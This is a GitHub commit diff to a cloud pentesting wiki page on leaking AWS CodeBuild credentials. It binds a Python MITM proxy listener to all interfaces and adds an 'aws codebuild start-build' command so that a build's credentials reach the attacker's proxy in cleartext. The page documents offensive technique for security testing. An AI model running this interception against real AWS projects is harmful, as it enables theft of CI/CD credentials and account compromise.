Skip to content

Commit 6439ce9

Browse files
authored
Merge pull request #129 from RealFakeAccount/fix-AWS-Codebuild-Token-Leakage-Via-insecureSSL
Update aws-codebuild-token-leakage.md
2 parents 91e1798 + 4c240ff commit 6439ce9

File tree

1 file changed

+8
-2
lines changed

1 file changed

+8
-2
lines changed

pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -149,7 +149,7 @@ aws codebuild update-project --name <proj-name> \
149149
from mitm import MITM, protocol, middleware, crypto
150150

151151
mitm = MITM(
152-
host="127.0.0.1",
152+
host="0.0.0.0",
153153
port=4444,
154154
protocols=[protocol.HTTP],
155155
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
@@ -158,7 +158,13 @@ mitm = MITM(
158158
mitm.run()
159159
```
160160

161-
* Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
161+
* Next, click on **Build the project** or start the build from command line:
162+
163+
```sh
164+
aws codebuild start-build --project-name <proj-name>
165+
```
166+
167+
* Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
162168

163169
<figure><img src="../../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
164170

0 commit comments

Comments
 (0)